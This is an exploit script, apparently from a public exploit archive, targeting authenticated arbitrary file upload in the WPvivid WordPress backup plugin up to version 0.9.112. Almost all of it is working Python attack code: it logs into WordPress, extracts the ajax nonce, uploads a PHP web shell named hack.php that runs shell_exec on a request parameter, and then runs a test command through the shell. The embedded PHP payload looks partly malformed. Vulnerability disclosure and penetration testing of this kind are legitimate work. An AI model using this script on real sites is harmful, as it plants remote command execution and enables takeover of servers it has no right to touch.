# Exploit Title: Migration,Backup, Staging – WPvivid <= 0.9.112 - Authenticated (Admin+) Arbitrary File Upload via wpvivid_upload_file # Date: 11/10/2024 # Exploit Author: Ryan Kozak https://ryankozak.com # Vendor Homepage: https://wpvivid.com/ # Version: <= 0.9.112 import re import json import urllib3 import logging import requests import argparse import urllib.parse def wp_login(victim_url: str, username: str, password: str): with requests.Session() as s: headers1 = { 'Cookie':'wordpress_test_cookie=WP Cookie check' } datas={ 'log':username, 'pwd':password, 'wp-submit':'Log In', 'redirect_to':f"{victim_url}/wp-admin", 'testcookie':'1' } s.post(f"{victim_url}/wp-login.php", headers=headers1, data=datas, verify=False) return(s) def main(): urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Parse command line arguments parser = argparse.ArgumentParser(description="WPvivid Admin+ Arbitrary File Upload.") parser.add_argument("victim_url", help="Target url or ip address.") parser.add_argument("username", help="The username for the WordPress instance.") parser.add_argument("password", help="The password for the WordPress instance.") args = parser.parse_args() # Log into WordPress and use this session for the requests. print(f"Logging into: {args.victim_url}/wp-admin") wp_session = wp_login(args.victim_url,args.username,args.password) ################################################################################################################################################## # Grab and prase the HTML from the WPvivid options to retrieve the nonce values. ################################################################################################################################################## print("Extracting nonce values...") headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36'} r = wp_session.get(f"{args.victim_url}/wp-admin/admin.php?page=WPvivid", headers=headers, verify=False) nonce = re.search(r'"ajax_nonce":"([^"]+)"', r.text).group(1) print(f"ajax_nonce: {nonce}") ################################################################################################################################################## # Upload the php web shell. ################################################################################################################################################## print("Uploading web shell: hack.php") headers = { "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryr0NgQQDe85Zf9sXp", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)" } data = "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\n" data += "Content-Disposition: form-data; name=\"name\"\r\n\r\nhack.php\r\n" data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"chunk\"\r\n\r\n0\r\n" data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"chunks\"\r\n\r\n1\r\n" data += f"------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"_ajax_nonce\"\r\n\r\n{nonce}\r\n" data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwpvivid_upload_files\r\n" data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"async-upload\"; filename=\"hack.php\"\r\n" data += "Content-Type: text/plain; charset=UTF-8 \r\n\r\n" data += "\".shell_exec($_GET['cmd']).\"\";\r\n }\r\n?>\r\n" data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp--\r\n" r = wp_session.post(f"{args.victim_url}/wp-admin/admin-ajax.php", headers=headers, data=data, verify=False) print(r.text) ################################################################################################################################################## # Pinging web shell ################################################################################################################################################## print("") print(f"Web Shell At: {args.victim_url}/wp-content/wpvividbackups/hack.php") print("") print("Executing test command: ip addr") r = wp_session.get(f"{args.victim_url}/wp-content/wpvividbackups/hack.php?cmd=ip addr", verify=False) print(r.text) if __name__ == "__main__": main()